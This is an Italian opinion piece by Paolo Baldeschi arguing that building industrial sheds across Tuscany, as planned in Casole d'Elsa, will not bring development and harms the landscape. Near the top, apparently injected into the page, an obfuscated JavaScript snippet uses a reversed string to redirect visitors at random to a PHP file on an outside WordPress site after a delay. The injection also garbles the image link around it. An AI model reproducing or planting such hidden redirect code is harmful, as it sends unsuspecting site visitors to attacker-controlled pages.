Con i capannoni lo sviluppo ce lo scordiamo. A Firenze come in Toscana

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2011/06/capannone.jpg”>di Paolo Baldeschi*

Nell´articolo che riguarda il rapporto Censis sulla Toscana sono riportate alcune affermazioni che lasciano profondamente perplessi. Almeno tre punti sono degni di discussione. Il primo punto è che l´economia toscana non si è mai retta sugli agriturismi: dire che i cittadini non vogliono più vivere di agriturismi (o di prodotti tipici o di vino, per quanto siano importanti) è solo un espediente retorico che falsa i termini del problema.

Il secondo punto è che l´industria, manifatturiera o meno, non nasce a seguito della costruzione di capannoni. Un esempio di questa pessima abitudine: il Comune di Casole d´Elsa (3860 abitanti) prevede nel piano strutturale adottato più di 20 ettari di superficie coperta che implicherebbero, a regime, 70 ettari di aree industriali e 3000-4000 addetti. E´ credibile questa previsione dissipatrice di suolo in una zona senza una linea ferroviaria e con difficoltosi collegamenti stradali, quando il principale macrolotto di Prato vede almeno il 30% di capannoni vuoti? E, a proposito di Prato, forse un migliore e più verde paesaggio della piana potrebbe favorire una ripresa industriale. La conclusione è che in una situazione di crisi delle attività manifatture, seri e innovativi progetti industriali devono precedere l´approntamento delle aree, mentre è profondamente sbagliato (se non per qualche speculatore) urbanizzare il territorio sperando che vi atterri qualche impresa.

Il terzo punto è che è obsoleta la filosofia che contrappone la tutela del paesaggio alle attività produttive (non so se la meccatronica o le nanotecnologie possono essere etichettate come manifatture). L´industria avanzata, che richiede, esperti, tecnici e mano d´opera qualificata, vuole ambienti vivibili e paesaggi non devastati dall´urbanizzazione. Contrapporre la tutela del paesaggio alla crescita di un´industria moderna è un atteggiamento arcaico che dovrebbe essere definitivamente superato.

*Rete dei comitati per la difesa del territorio

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